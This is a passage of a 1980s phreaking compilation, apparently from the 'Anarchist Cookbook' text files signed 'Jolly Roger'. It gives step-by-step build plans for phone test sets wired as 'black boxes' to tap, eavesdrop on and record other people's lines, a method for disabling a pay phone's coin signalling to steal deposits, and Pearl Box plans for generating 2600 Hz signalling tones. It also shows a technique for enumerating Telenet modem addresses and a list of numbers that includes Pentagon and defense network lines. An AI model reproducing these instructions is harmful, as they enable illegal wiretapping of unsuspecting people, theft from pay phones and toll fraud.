  7755. How  to  make  a Basic Test-Set and how to use it  to  dial  out,
  7756. eavsdrop, or seriously tap and record line activity.
  7757. These are  the  (usually) orange hand set fones  used  by  Telco
  7758.  
  7759.  
  7760. technicians to test lines.   To make a very simple one,  take any
  7761. Bell (or other,  but I recommend a good Bell fone like a princess
  7762. or a trimline. gte flip fones work excllently, though..) fone and
  7763. follow the instructions below.
  7764. Note:    A 'black box' type fone mod will let you tap into  their
  7765. line,  and with the box o,  it's as if you werent there. they can
  7766. recieve  calls and dial out,  and you can be listening the  whole
  7767. time! very useful.  With the box off, you have a normal fone test
  7768. set.
  7769. Instructions:
  7770. A  basic black box works well with good results.   Take the cover
  7771. off  the fone to expose the network box (Bell type  fones  only).
  7772. The <RR> terminal should have a green wire going to it (orange or
  7773. different  if  touch tone - doesnt matter,  its the same  thing).
  7774. Disconnect the wire and connect it to one pole of an SPST switch.
  7775. Connect  a  piece  of wire to the other pole of  the  switch  and
  7776. connect it to the <RR> terminal.   Now take a 10k hm 1/2 watt 10%
  7777. resistor  and  put  it  between the <RR>  terminal  ad  the  <F>
  7778. terminal,  which  should have a blue and a white wire going to it
  7779. (different for touch tone).  It should look like this:
  7780. -----Blue wire----------<F>
  7781.                    !
  7782. ----White wire-----!
  7783.                    !
  7784.               10k Resistor
  7785.                    !
  7786.                    !
  7787. --Green wire--     !----<RR>
  7788.               !    !
  7789.                SPST
  7790. What  this  does in effect is keep the hookswitch  /  dial  pulse
  7791. switch (F to RR loop) open while holding the line high with  the
  7792. resistor.   This gives the same voltage effect as if the fone was
  7793. 'on-hook',  while  the 10k ohms holds the voltage right above the
  7794. 'off hook' threshold (around 22 volts or so, as compared to 15-17
  7795. or normal off hook 48 volts for normal 'on-hook'), giving
  7796. Test Set Version 2.
  7797. Another  design is similar to the 'type 1' test set (above),
  7798. but has some added features:
  7799. From >----------------Tip------<To Test
  7800. Alligator                        set
  7801. Clip >----------------Ring-----<phone
  7802.             !                !
  7803.             x                !
  7804.             !                !
  7805.             o                !
  7806.             !    x---RRRRR---!
  7807.             !   x            !
  7808.             !---x            !
  7809.                  x----0------!
  7810. x    = Spst Switch
  7811. o    = Red LOD        0   = Green LED
  7812. RRRRR= 1.8k 1/2 watt  xxxx= Dpst switch
  7813.         resistor
  7814. When the SPST switch in on, the LED will light, and the fone
  7815. will become active.   The green light should be on.  If it isn't,
  7816. switch  the dpst.   If it still isnt,  check the polarity of  the
  7817. line and the LEDs.   With both lights on, hang up the fone.  They
  7818.  
  7819.  
  7820. should all be off now.   Now flip the dpst and pick up the  fone.
  7821. The  red  LED shold be on,  but the green shouldnt.   If  it  is,
  7822. something is wrong with the circuit.  You wont get a dial tone if
  7823. all is correct.
  7824. When  you  hook  up  to the line with  the  alligator  clips
  7825. (Assuming you have put this circuit inside our fona and have  put
  7826. alligator clips on the ring and tip wires (As we did before)) you
  7827. should  have the spst #1 in the off posistion.  This will greatly
  7828. reduce the static noise involved in hooking up to a line. The red
  7829. LED can also be used to check if you have the correct polarity.
  7830. With  this  fone you will have the ability to listen  in  on
  7831. >all< audible line activity,  and the people (the 'eavesdropees')
  7832. can use their fone as normal.
  7833. Note that test sets #1 and #2 have true 'black boxes', and can be
  7834. used for free calls (see an article about black boxes).
  7835.  
  7836. Test Set Version 3
  7837.  
  7838. To do test set 3:
  7839. Using a trimline (or similar) phone, remove the base and cut
  7840. all  of  the wire leads off except for the red (ring -)  and  the
  7841. green  (tip +).   Solder alligator clips to the  lug.   The  wire
  7842. itself  is  'tinsel' wrapped in rayon,  and doesnt solder  well.
  7843. Inside  the one handset,  remove the light socket (if it has one)
  7844. and install a small slide or  toggle switch (Radio Shack's micro-
  7845. miniature  spst works well).   Locate the connection of the  ring
  7846. and the tip wires on the pc board near where the jack is  located
  7847. at the bottom of the handset.  (The wires are sometimes black or
  7848. brow instead of red and green,  respectively).   Cut the foil and
  7849. run 2 pieces of wire to your switch.  In parallel with the switch
  7850. add  a .25 uf 200 VDC capacitor (mylar,  silvered mica,  ceramic,
  7851. not  an electrolytic).  When the switch is  closed,  the  handset
  7852. functions normally.   With the switch in the other position,  you
  7853. can listen without being heard.
  7854. Note:  To  reduce the noise involved in connecting the clips to a
  7855. line,  add  a  switch selectable 1000 ohm 1/2  watt  resistor  in
  7856. series with the tip wire. Flip it in circuit when connecting, and
  7857. once on the line, flip it off again. (or just use the 'line disc-
  7858. onect'  type  switch as in the type 2 test  set  (above)).   Also
  7859. avoid   touching the alligator clips to any metal parts or  other
  7860. terminals,  for  i causes static on the line and raises  poeple's
  7861. suspicions.
  7862.       ---------
  7863.       RECORDING
  7864.       ---------
  7865. If you would like to record any activity,  use test set 1 or
  7866. 2  above  (for unattended recording of >all< line  activity),  or
  7867. just  any test set if you are going to be there to  monitor  when
  7868. they are dialing, talking, etc.
  7869. Place  a  telephone pickup coil (I recommend the Becoton  T-5  TP
  7870. coil  or equivalent) onto the test set,  and put the TP plug into
  7871. the mic.  jack of any standard tape recorder.  Hit play, rec, and
  7872. pause.   Alternate  pause when you want to record (I  dont  think
  7873. anyone should have any difficulty with this at all...)
  7874. Well,  if  you  still can't make a test set or you dont have  the
  7875. parts, there's still hope.  Alternate methods:
  7876. 1>  Find  a  bell test set in a manhole or a  bridging  head  and
  7877. 'Borrow it indefinately...
  7878.  
  7879.  
  7880. 2>  Test sets can  be  purchased from:
  7881.     Techni-Tool
  7882.     5 Apollo Road
  7883.     Box 368
  7884.     Plymouth Meeting PA., 19462
  7885. Ask for catalog #28
  7886. They  are usually $300 - $600, and are supposed to have  MF
  7887. dialing  capability as well as TT dialing.  They are also of much
  7888. higher quality than the standard bell test sets.
  7889. If you would like to learn more about the subjects covered here,
  7890. I suggest:
  7891. 1>  Follow Bell trucks and linemen or technicians and ask  subtle
  7892.     questions. also try 611 (repair service) and ask questions..
  7893. 2> Explore your area for any Bell hardware,  and experiment  with
  7894.    it.  Don't try something if you are not sure what youre doing,
  7895.    because you wouldnt want to cause problems, would you?
  7896.  
  7897.                                ------------------Jolly Roger
  7898.  
  7899. Getting Money out of Pay Phones                by the Jolly Roger
  7900.  
  7901. I will now share with you my experiences with pay telephones.  You will
  7902. discover
  7903. that it is possible to get money from a pay phone with a minimum of effort.
  7904. Theory: Most pay phones use four wires for the transmission of data and
  7905. codes to the central office.  Two of them are used for voice (usually red
  7906. and
  7907. green), one is a ground, and the last is used with the others for the
  7908. transmission of codes.
  7909. It is with this last wire that you will be working with.  On the pay phone
  7910. that
  7911. I usually did this to, it was colored purple, but most likely will be
  7912. another
  7913. color.
  7914. What you will do is simply find a pay phone which has exposed wires, such
  7915. that
  7916. one of them can be disconnected and connected at ease without
  7917. fear of discovery. You will discover that it is usually a good idea to
  7918. have some electrical tape along with you and some tool for cutting this
  7919. tape.
  7920. Through trial and error, you will disconnect one wire at a time starting
  7921. with
  7922. the wires different than green and red.  You do want a dial tone during
  7923. this operation.
  7924. What you want to disconnect is the wire supplying the codes to the
  7925. telephone
  7926. company so that the pay phone will not get the 'busy' or 'hang-up' command.
  7927. Leave this wire disconnected when you discover it.
  7928. What will happen:  Anytime that someone puts any amount of money into the
  7929. pay
  7930. phone, the deposit will not register with the phone company and it
  7931. will be held in the 'temporary' chamber of the pay phone.
  7932. Then, (a day later or so) you just code back to the phone, reconnect the
  7933. wire,
  7934. and click the hook a few times and the phone will dump it all out the
  7935. shute.
  7936. (What is happening is that the 'hangup' code that the phone was not
  7937. receiving due to the wire being disconnected suddenly gets the code and
  7938.  
  7939.  
  7940. dumps its' 'temporary' storage spot.)
  7941. You can make a nice amount of money this way, but remember
  7942. that a repairman will stop by every few times it is reported broken and
  7943. repair it, so check it at least once a day.
  7944. Enjoy and have fun.. Many phones I have done this to, and it works
  7945. well with each..
  7946.                              --------------------Jolly Roger
  7947.  
  7948. Computer Based PBX                     Courtesy of the Jolly Roger
  7949.     (Originally an Apple ][ file for forgive the upper case!)
  7950.  
  7951. TO GET A BETTER UNDERSTANDING OF WHAT A PBX CAN DO, HERE ARE A FEW BASIC
  7952. FUNDAMENTALS.THE MODERN PBX IS A COMBINED COMPUTER,MASS STORAGE DEVICE,
  7953. AND OF COURSE A SWITCHING SYSTEM THAT CAN:
  7954.       [1] PRODUCE ITEMIZED,AUTOMATED BILLING PROCEDURES,TO ALLOW THE
  7955.           IDENTIFICATION AND MANAGEMENT OF TOLL CALLS. [HAHAHA]
  7956.       [2] COMBINE DAYTIME VOICE GRADE COMMUNICATION CIRCUITS INTO
  7957.           WIDEBAND DATA CHANNELS FOR NIGHT TIME HIGH SPEED DATA
  7958.           TRANSFERS.
  7959.       [3] HANDLES ELECTRONIC MAIL [ INCLUDING OFFICE MEMOS ].
  7960.       [4] COMBINE VOICE CHANNELS INTO A WIDEBAND AUDIO/VISUAL
  7961.           CONFERENCE CIRCUIT,WITH THE ABILITY TO XFER AND
  7962.           CAPTURE SLIDES,FLIPCHARTS,PICTURES OF ANY KIND.
  7963. BOTH THE EXTERNAL AND INTERNAL CALLING CAPACITY OF THE PBX SYSTEM MUST BE
  7964. CAREFULLY CONSIDERED BECAUSE MANY BUSINESS OPERATIONS RUN A VERY HIGH RATIO
  7965. OF INTERNAL STATION TO STATION DIALING AND A LOW CAPACITY SYSTEM WILL NOT
  7966. HANDLE THE REQUESTED TRAFFIC LOAD.
  7967. A CRITICAL FACTOR IS THE NUMBER OF TRUNKS AND THE CENTRAL OFFICE FACILITIES
  7968. THAT ARE USED FOR OUTSIDE CONNECTIONS.ANOTHER IS THE NUMBER OF JUNCTIONS OR
  7969. [LINKS] THAT MAKE UP THE INTERNAL CALLING PATHS.
  7970. TO UNDERSTAND THE SERVICES AVAILABLE ON A TYPICAL COMPUTER RUN PBX IT IS
  7971. NECESSARY TO INTRODUCE THE SUBJECT OF TIME DIVISION SWITCHING.IN A TIME
  7972. DIVISION SWITCHING NETWORK ALL CONNECTIONS ARE MADE VIA A SINGLE COMMON BUS
  7973. CALLED (OF COURSE) A 'TIME-DIVISION BUS'.EVERY LINE TRUNK THAT REQUIRES A
  7974. CONNECTION WITH ANOTHER IS PROVIDED WITH A PORT CIRCUIT.ALL PORT CIRCUITS
  7975. HAVE ACCESS TO THE TIME DIVISION BUS THROUGH A TIME DIVISION SWITCH.
  7976. [WHEN TWO PORTS REQUKRE CONNECTION,THEIR TIME DIVISION SWITCHES OPERATE AT
  7977. A VERY HIGH FREQUENCY (16,000 TIMES PER SECOND).THIS TECHNIQUE,WHICH IS
  7978. CALLED 'SPEECH SAMPLING',ALLOWS MANY SIMULTANEOUS CONNECTIONS OVER THE SAME
  7979. TIME DIVKSION BUS.EACH CONNECTION IS ASSIGNED A TIME INTERVAL,THE 'TIME
  7980. SLOT'
  7981. ,AND THE NUMBER OF TIME SLOTS IDENTIFIES THE NUMBER OF SIMULTANEOUS
  7982. CONNECT-
  7983. IONS AMONG PORTS.]
  7984. THE NEXT CRITICAL ITEM IS CIRCUIT PACKS.THE SYSTEM ELEMENTS THAT WE WILL BE
  7985. DESCRIBING IN FUTURE TUTORIALS [LINES/TRUNKS/SWITCHES,MEMORY AND CONTROL]
  7986. ARE
  7987. CONTAINED ON PLUG IN CIRCUIT PACKS.EACH LINE CIRCUIT PACK CONTAINS A NUMBER
  7988. OF LINES,IN EXAMPLE,FOUR.BUT THE ASSIGNMENT OF STATION NUMBERS TO ACTUAL
  7989. PHONE LINE CIRCUITS IS FLEXIBLE.
  7990. THE SYSTEM MEMORY IS CONTAINED IN CIRCUIT PACKS WHICH PROVIDE THE CALL
  7991. PROCESSING FUNCTIONS.THE CIRCUIT PACKS ARE HELD IN SMALL FRAMES CALLED
  7992. 'CARRIERS'.WITHIN EACH CARRIER,THE CIRCUIT PACKS ARE PLUGGED INTO
  7993. POSITIONS:
  7994. THE 'SLOTS'.EVERY CIRCUIT CAN BE ADDRESSED BY,SAY A FIVE DIGIT NUMBER WHICH
  7995. TELLS ITS LOCATION BY CARRIER-SLOT-CIRCUIT.... [STARTING TO GET THE IDEA?]
  7996. THERE CAN BE THREE TYPES OF CARRIERS IN A MODERN PBX SYSTEM:
  7997.                 O LINE CARRIERS
  7998.  
  7999.  
  8000.                 O TRUNK CARRIERS
  8001.                 O CONTROL CARRIERS
  8002. THE LINE CARRIERS CONTAIN STATION LINES.IN A.T.& T.'S "DIMENSION" MODEL,FOR
  8003. EXAMPLE,A TOTAL OF 52 TO 64 LINES ARE PROVIDED.THE TRUNK CARRIERS CONTAIN
  8004. SLOTS FOR 16 TRUNK CIRCUIT PACKS.THE CONTROL CARRIER INCLUDES PROCESSOR,
  8005. MEMORY,CONTROL CIRCUITRY,DATA CHANNELS FOR ATTENDANT CONSOLE CONTROL AND
  8006. TRAFFIC MEASUREMENT OUTPUTS.
  8007. PBX SYSTEMS WILL DIRECTLY REFLECT THE TYPES OF SERVICES OFFERED AT THE C.O.
  8008.            O CCSA
  8009.            O CCIS
  8010.            O PICTUREPHONES [SOONER THAN YOU THINK MY PHRIENDS]
  8011. COMMON CONTROL SWITCHING ARRANGEMENTS ( CCSA ) PERMIT ANY UNRESTRICTED
  8012. TELE-
  8013. PHONE STATION TO CALL ANY OTHET INTERNAL OR EXTERNAL SYSTEM STATION BY
  8014. USING
  8015. THE STANDARD SEVEN DIGIT NUMBER.ALTERNATE ROUTING IS A FEATURE OF CCSA
  8016. SERVICE
  8017. THE INTERFACILITY,ALTERNATE ROUTED CALLING PATHS ARE ACCOMPLISHED AT THE
  8018. TELE-
  8019. PHONE COMPANY CENTRAL OFFICE LEVEL,NOT AT THE PBX LEVEL.
  8020. A SYSTEM OF INTEREST TO LARGE SCALE TELEPHONE USERS IS COMMON CHANNEL
  8021. INTER-
  8022. OFFICE SIGNALLING (CCIS).TYPICALLY,THIS TECHNIQUE EMPLOYS COMMON CHANNELS
  8023. TO
  8024. CARRY ALL INTERFACILITY SIGNALLING INSTRUCTIONS: DIAL PULSES,ON HOOK
  8025. (IDLE),
  8026. OFF HOOK (BUSY),AND SO ON,BETWEEN TWO SWITCHING CENTERS. [ GETTING WARM ].
  8027. CCIS REPLACES OLDER METHODS OF INTEROFFICE SIGNALLING SUCH AS 'IN BAND' AND
  8028. 'OUT OF BAND' TECHNIQUES. BY THE WAY,REAL PHREAKS ARE SELLING THEIR BOXES
  8029. TO
  8030. IDIOTS WHO STILL THINK THE'RE WORTH ALOT...THE FORMER (IN BAND) TRANSMITS
  8031. SIGNALLING DATA WITHIN THE NORMAL CONVERSATION BANDWIDTH.IT'S SHORTCOMING
  8032. IS
  8033. THAT FALSE INFORMATION MAY BE TRANSMITTED DUE TO UNIQUE TONE OR NOISE
  8034. COMBINATIONS SET UP IN THE TALKING PATH. [THIS IS THE OFFICIAL REASONING].
  8035. OUT OF BAND SIGNALLING TECHNIQUES PLACED THE INTEROFFICE DATA IN SPECIAL
  8036. CHANNELS,GENERALLY ADJACENT TO AND IMMEDIATELY ABOVE THE VOICE PATH.TO PRE-
  8037. SERVE INTERCHANNEL INTEGRITY,OUT OF BAND SIGNALLING REQUIRES VERY EFFECIENT
  8038. FILTERING OR GREATER 'BAND GUARD' SEPERATION BETWEEN CHANNELS.
  8039.  
  8040. Brought to you in the Cookbook courtesy of the Jolly Roger!!!!!!!!!!!!
  8041.  
  8042.  
  8043.  
  8044.          Subject:    PC-Pursuit Port Statistic's
  8045.          Date:       06/29/89
  8046.          Written by: PC-Pursuit Users
  8047.          ============================================================
  8048.          Introduction:
  8049.          =============
  8050.               The last 30 days of PC-Pursuit have been extremely
  8051.          controversial.  Users and ex-users have demanded accurate
  8052.          statistics, and Telenet has provided us with very little.
  8053.          And the data that was provided is questionable.  Well, here
  8054.          is some data that is guaranteed to be accurate and make
  8055.          Telenet scream. If you wish to update this data on your own,
  8056.          we will tell you how later in this text.
  8057.               The following chart consists of all the direct Telenet
  8058.  
  8059.  
  8060.          addresses of the PC-Pursuit city nodes and the total number
  8061.          of modems on each node.  Here is what the data means:
  8062.          NJNEW/3 2011    .12    56
  8063.          !     ! !        !      \-- Total Number of Modems in NJNEW
  8064.          !     ! !        \- Last Working Suffix of Address sequence.
  8065.          !     ! \- Direct Telenet Address Prefix.
  8066.          !     \--- Baud Rate of This Port is 300.
  8067.          \--------- Mnemonic.
  8068.          Please note that there are several perfectly legal ways to
  8069.          connect to a PC-Pursuit port such as NJNEW/3:
  8070.               Ways To Connect to NJNEW/3:
  8071.                    1)   C D/NJNEW/3,PCP10000,<password>   [HUNT]
  8072.                    2)   C 2011,PCP10000,<password>        [HUNT]
  8073.                    3)   C 2011.10,PCP10000,<password>     [NON HUNT]
  8074.          The first, is self explanatory.  The second does the same
  8075.          thing as the first, only that it is slightly faster and gives
  8076.          the user much greater flexibility.  The third is an example
  8077.          the flexibility, because a request is made to connect to the
  8078.          tenth, and only the tenth, modem on the NJNEW/3 port.
  8079.               By simply attempting to connect to every single modem
  8080.          in the 2011 chain, we were able to count the number of modems
  8081.          on each port and come up with the following charts which were
  8082.          extracted on June the twenty ninth of the year 1989:
  8083.          Rotary   Direct  Max.  City     Rotary   Direct  Max.  City
  8084.          Port     Address Range Total    Port     Address Range Total
  8085.          -------- ------- ---   -----    -------- ------- ---   -----
  8086.          NJNEW/3  2011    .12   56       CAOAK/3  4155    . 4   16
  8087.               /12 201301  .40                 /12 415216  . 8
  8088.               /24 20122   . 4                 /24 41511   . 4
  8089.          DCWAS/3  202115  . 6   46       CAPAL/3  415106  . 4   12
  8090.               /12 202116  .24                 /12 415224  . 8
  8091.               /24 202117  .16                 /24 <NONE> <NONE>
  8092.          CTHAR/3  <NONE> <NONE>  8       CASFA/3  415215  . 6   20
  8093.               /12 203120  . 8                 /12 415217  .10
  8094.               /24 <NONE> <NONE>               /24 41523   . 4
  8095.          WASEA/3  20617   . 4   30       ORPOR/3  50320   . 2    8
  8096.               /12 20619   .22                 /12 50321   . 6
  8097.               /24 20621   . 4                 /24 <NONE> <NONE>
  8098.          NYNYO/3  212315  . 4   22       AZPHO/3  60222   . 4   20
  8099.               /12 212316  .14                 /12 60223   .12
  8100.               /24 21228   . 4                 /24 60226   . 4
  8101.          CALAN/3  213412  . 8   40       MNMIN/3  612120  . 4   22
  8102.               /12 213413  .28                 /12 612121  .14
  8103.               /24 21323   . 4                 /24 61222   . 4
  8104.          TXDAL/3  214117  . 6   30       MABOS/3  617311  . 4   32
  8105.               /12 214118  .22                 /12 617313  .20
  8106.               /24 21422   . 4                 /24 61726   . 8
  8107.          PAPHI/3  215112  . 6   36       TXHOU/3  713113  . 8   42
  8108.               /12 2155    .22                 /12 713114  .24
  8109.               /24 21522   . 8                 /24 71324   .10
  8110.          OHCLE/3  21620   . 4   26       CACOL/3  71423   . 4   18
  8111.               /12 21621   .18                 /12 7144    .10
  8112.               /24 216120  . 4                 /24 71424   . 4
  8113.          CODEN/3  303114  . 4   40       CASAN/3  714119  . 4   20
  8114.               /12 303115  .18                 /12 714213  .12
  8115.               /24 30321   .22                 /24 714124  . 4
  8116.          FLMIA/3  305120  . 6   28       CASDI/3  714102  . 4   22
  8117.               /12 305121  .18            (619)/12 714210  .14
  8118.  
  8119.  
  8120.               /24 305122  . 4                 /24 714121  . 4
  8121.          ILCHI/3  312410  . 8   40       UTSLC/3  80120   . 4   22
  8122.               /12 312411  .28                 /12 80121   .14
  8123.               /24 31224   . 4                 /24 80112   . 4
  8124.          MIDET/3  313214  . 6   30       FLTAM/3  81320   . 4   18
  8125.               /12 313216  .18                 /12 81321   .10
  8126.               /24 31324   . 6                 /24 813124  . 4
  8127.          MOSLO/3  3145    . 4   16       MOKCI/3  816104  . 4   20
  8128.               /12 314421  . 8                 /12 816221  .12
  8129.               /24 31420   . 4                 /24 816113  . 4
  8130.          GAATL/3  404113  . 8   32       CAGLE/3                ??
  8131.               /12 404114  .20                 /12 81821   .18
  8132.               /24 40422   . 4                 /24
  8133.          CASJO/3  408111  . 4   34       CASAC/3  9167    . 4   16
  8134.               /12 40821   .26                 /12 91611   . 8
  8135.               /24 408110  . 4                 /24 91612   . 4
  8136.          WIMIL/3  41420   . 4   24       NCRTP/3  91920   . 4   20
  8137.               /12 41421   .16                 /12 91921   .12
  8138.               /24 414120  . 4                 /24 919124  . 4
  8139.  
  8140.          01/29/89       PC-Pursuit Modems Statistics Chart
  8141.                                  Number of Modems         City
  8142.               Mnemonic        300      1200      2400     Total
  8143.               ---------- -------- --------- --------- ---------
  8144.               NJNEW            12        40         4        56
  8145.               DCWAS             6        24        16        46
  8146.               CTHAR             0         8         0         8
  8147.               WASEA             4        22         4        30
  8148.               NYNYO             4        14         4        22
  8149.               CALAN             8        28         4        40
  8150.               TXDAL             6        22         4        32
  8151.               PAPHI             6        22         8        36
  8152.               OHCLE             4        18         4        26
  8153.               CODEN             4        18        22        44
  8154.               FLMIA             6        18         4        28
  8155.               ILCHI             8        28         4        40
  8156.               MIDET             6        18         6        30
  8157.               MOSLO             4         8         4        16
  8158.               GAATL             8        20         4        32
  8159.               CASJO             4        26         4        34
  8160.               WIMIL             4        16         4        24
  8161.               CAOAK             4         8         4        16
  8162.               CAPAL             4         8         0        12
  8163.               CASFA             6        10         4        20
  8164.               ORPOR             2         6         0         8
  8165.               AZPHO             4        12         4        20
  8166.               MNMIN             4        14         4        22
  8167.               MABOS             4        20         8        32
  8168.               TXHOU             8        24        10        42
  8169.               CACOL             4        10         4        18
  8170.               CASAN             4        12         4        20
  8171.               CASDI             4        14         4        22
  8172.               UTSLC             4        14         4        22
  8173.               FLTAM             4        10         4        18
  8174.               MOKCI             4        12         4        20
  8175.               CAGLE             4        18         4        26
  8176.               CASAC             4         8         4        16
  8177.               NCRTP             4        12         4        20
  8178.  
  8179.  
  8180.                          -------- --------- --------- ---------
  8181.               Total           166       562       170       898
  8182.                          ======== ========= ========= =========
  8183.               Average   4.8823529 16.529412         5 26.411765
  8184.               NOTE: CASAC/3, CASAC/24 were estimated.
  8185.          I think the statistics basically speak for themselves.
  8186.          I am sure there will no doubt be hundreds of people who will
  8187.          not smile at the number of specific kinds of ports supported,
  8188.          not to mention the number of 'dead' or 'down' modems you will
  8189.          find when you verify the totals.  Usually, 2% to perhaps 10%
  8190.          of the modems are 'dead' with specific ones repeatedly
  8191.          failing week after week.
  8192.          History Of This Collection:
  8193.          ===========================
  8194.               Almost a year ago a small selected group of devoted
  8195.          individuals got together to discuss problems with the PC-
  8196.          Pursuit Network, in the middle of our discussions a question
  8197.          was asked as to how the network really processes our calls.
  8198.          This was intended to help us assess SET? commands and other
  8199.          such matters.  When the address hypothesis was offered we
  8200.          quickly set out to prove it.  It was proved in about 3
  8201.          minutes with the discovery of 2011 (First try was xxx1).  The
  8202.          data has continually been collected and analyzed ever since,
  8203.          but until now, has never been mass released.
  8204.               A small group of teen age hackers discovered several
  8205.          interesting things that can be done with these addresses--
  8206.          many of which will not be discussed here short of mentioning
  8207.          that these ports connected to via these addresses are not
  8208.          limited to PC-Pursuiters.  You can, however, fight "dead"
  8209.          dialout modems in cities via the address method.  Dead modems
  8210.          can be located in about 10 seconds (faster than Telenet), and
  8211.          can either be reported or skipped past by the user connecting
  8212.          to the next modem in the sequence after the "dead" one.
  8213.          (Note: Say 2011.3 is dead, connect to 2011.4 and you will be
  8214.          past it.  If 2011.4 is busy, go to 2011.5.  The reader should
  8215.          notice 2011.3 is the same as 2011C.)
  8216.               The most interesting value of these addresses is that
  8217.          one can count the number of ports that Telenet keeps so
  8218.          secret (Grin).  When there were only 28 cities in operation
  8219.          there were an average of 2.7 300 baud, 9.4 1200 baud, and 2.5
  8220.          2400 baud modems in each city.  Some cities had as little as
  8221.          2 modems on a port and as many as 12.  Only recently has the
  8222.          number of modems per city begun to jump.
  8223.          How To Update The Count Yourself:
  8224.          =================================
  8225.               An ID is not required to "request" one of these ports,
  8226.          thus the tallying can be done any time of day by simply
  8227.          typing the number at the @ prompt.  Here is an example with
  8228.          four modems (NJNEW/24):
  8229.          @20122.1
  8230.          201 22A REFUSED COLLECT CONNECTION 19 80
  8231.          @20122.2
  8232.          201 22B REFUSED COLLECT CONNECTION 19 80
  8233.          @20122.3
  8234.          201 22C REFUSED COLLECT CONNECTION 19 80
  8235.          @20122.4
  8236.          201 22D REFUSED COLLECT CONNECTION 19 80
  8237.          @20122.5
  8238.  
  8239.  
  8240.          201 22E ILLEGAL ADDRESS 19 80
  8241.          The reader should be aware that PC-Pursuit ports always
  8242.          respond with '19 80'.  Do not confuse it with '19 00', which
  8243.          are not PC-Pursuit ports.  In the above example we know there
  8244.          are four ports because the forth was the last existing port
  8245.          before we encountered the 'ILLEGAL ADDRESS.'  There are
  8246.          several ways to signify that you have gone one beyond the end
  8247.          of the ports:
  8248.             1)  xxx xxx ILLEGAL ADDRESS 19 80
  8249.             2)  xxx xxx NOT OPERATING 19 80
  8250.             3)  The request freezes (Note: Issue a BREAK then D <C/R>
  8251.                 to abort the attempt yielding 'ATTEMPT ABORTED'.)
  8252.          You should be aware that modems which are out of order in the
  8253.          middle of the sequence can respond with 'NOT OPERATING' or
  8254.          may freeze the request.  You should also note that when
  8255.          updating the existing list, all you need to do is try to
  8256.          request the next modem beyond the end as of the last check.
  8257.          Finding Newly Added Ports:
  8258.          ==========================
  8259.               Many ports have not yet been installed; hence, we do not
  8260.          yet know the addresses.  New ports may be found by entering
  8261.          the first three digits of the area code and appending (1-29,
  8262.          101-129, 201-229, 301-329, etc.) until the 'REFUSED COLLECT
  8263.          CONNECTION 19 80' appears.  Once this is found, simply log
  8264.          onto the port address with your ID and R/V dial some silly
  8265.          series of digits, disconnect the port, then connect to the
  8266.          PC-Pursuit mnemonic you think it might be and R/V redial the
  8267.          last number.  If the numbers match, you found it.
  8268.  
  8269.  
  8270. Pearl Box Plans                                  by the Jolly Roger
  8271.  
  8272. The Pearl Box:Definition - This is a box that may substitute for many boxes
  8273. which produce tones in hertz. The Pearl Box when operated correctly can
  8274. produce tones from 1-9999hz. As you can see, 2600, 1633, 1336 and other
  8275. crucial tones are obviously in its sound spectrum.
  8276.  
  8277. Materials you will need in order to build The Pearl Box:
  8278. ========================================================
  8279. C1, C2:.5mf or .5uf ceramic disk
  8280.        capacitors
  8281. Q1.....NPN transistor (2N2222 works
  8282.        best)
  8283. S1.....Normally open momentary SPST
  8284.        switch
  8285. S2.....SPST toggle switch
  8286. B1.....Standard 9-Volt battery
  8287. R1.....Single turn, 50k potentiometer
  8288. R2.....  "     "    100k potentiometer
  8289. R3.....  "     "    500k potentiometer
  8290. R4.....  "     "    1meg potentiometer
  8291. SPKR...Standard 8-ohm speaker
  8292. T1.....Mini transformer (8-ohm works
  8293.        best)
  8294. Misc...Wire, solder, soldering iron, PC
  8295.        board or perfboard, box to
  8296.        contain the completed unit,
  8297.        battery clip
  8298.  
  8299.  
  8300. çInstructions for building Pearl Box:
  8301. ======================================
  8302. Since the instruction are EXTREMELY difficult to explain in words, you will
  8303. be given a schematic instead. It will be quite difficult to follow but try
  8304. it any way.
  8305.  
  8306. (Schematic for The Pearl Box)
  8307. +---+------------+---------+
  8308.     !            !          \
  8309.     C1            C2          \
  8310.     !             !            +
  8311.     +             +       -----+T1
  8312.     !\            +------------+-+
  8313.     !  b  c-------!              +
  8314.     !   Q1                   !   +-S1-
  8315.     !     e-----S2---+       !    SPKR
  8316.     !                !       !   +----
  8317.     !               B1       !
  8318.     !                !       !
  8319.     !                +-------+
  8320.     !R1   R2   R3   R4!
  8321.     /\/\ /\/\ /\/\ /\/\
  8322.       +--+ +--+ +--+
  8323. Now that you are probably thoroughly confused, let me explain a few
  8324. minor details. The potentiometer area is rigged so that the left pole is
  8325. connected to the center pole of the potentiometer next to it.
  8326. The middle terminal of T1 is connected to the piece of wire that runs down
  8327. to the end of the battery.
  8328.  
  8329. Correct operation of The Pearl Box:
  8330. ===================================
  8331. You may want to get some dry-transfer decals at Radio Shack to make this
  8332. job a lot easier. Also, some knobs for the tops of the potentiometers
  8333. may be useful too. Use the decals to calibrate the knobs. R1 is the knob
  8334. for the ones place, R2 is for the tens place, R3 if for the hundreds
  8335. place and R4 is for the thousands place. S1 is for producing the all the
  8336. tones and S2 is for power.
  8337. Step 1: Turn on the power and adjust the knobs for the desired tone.
  8338.        (Example: For 2600 hz-
  8339.          R1=0:R2=0:R3=6:R4=2)
  8340. Step 2: Hit the pushbutton switch and VIOLA! You have the tone. If
  8341. you don't have a tone recheck all connections and schematic.
  8342.  
  8343.                                  --------------------Jolly Roger
  8344.  
  8345. The Phreak file                            courtesy of the Jolly Roger
  8346.  
  8347. 202 282 3010 UNIV. OF D.C.
  8348. 202 553 0229 PENTAGON T.A.C.
  8349. 202 635 5710 CATHOLIC UNIV. OF AMERICA
  8350. 202 893 0330 DEFENSE DATA NETWORK
  8351. 202 893 0331 DEFENSE DATA NETWORK
  8352. 202 965 2900 WATERGATE
  8353. 203 771 4930 TELEPHONE PIONEERS
  8354. 206 641 2381 VOICE OF CHESTER
  8355. 212 526 1111 NEW YORK FEED LINE
  8356. 212 557 4455 SEX HOT LINE
  8357. 212 799 5017 ABC NY FEED LINE
  8358.  
  8359.  
  8360. 212 934 9090 DIAL-AN-IDIOT
  8361. 212 976 2727 P.D.A.
  8362. 212 986 1660 STOCK QUOTES
  8363. 213 541 2462 STOCK MARKET REPORTS
  8364. 213 547 6801 NAVY SHIPS INFO
  8365. 213 576 6061 "     "
  8366. 213 664 3321 NEWS FOR THE BLIND
  8367. 301 393 1000 "     "
  8368. 301 667 4280 LOTTERY INFO
  8369. 312 939 1600 "  "
  8370. 404 221 5519 NUCLEAR COMMISSION
  8371. 408 248 8818 1ST NAT'L BANK
  8372. 415 642 2160 EARTHQUAKE REPCRT
  8373. 505 883 6828 "     "
  8374. 512 472 2181 "     "
  8375. 512 472 4263 WIERD RECORDING
  8376. 512 472 9833 "     "
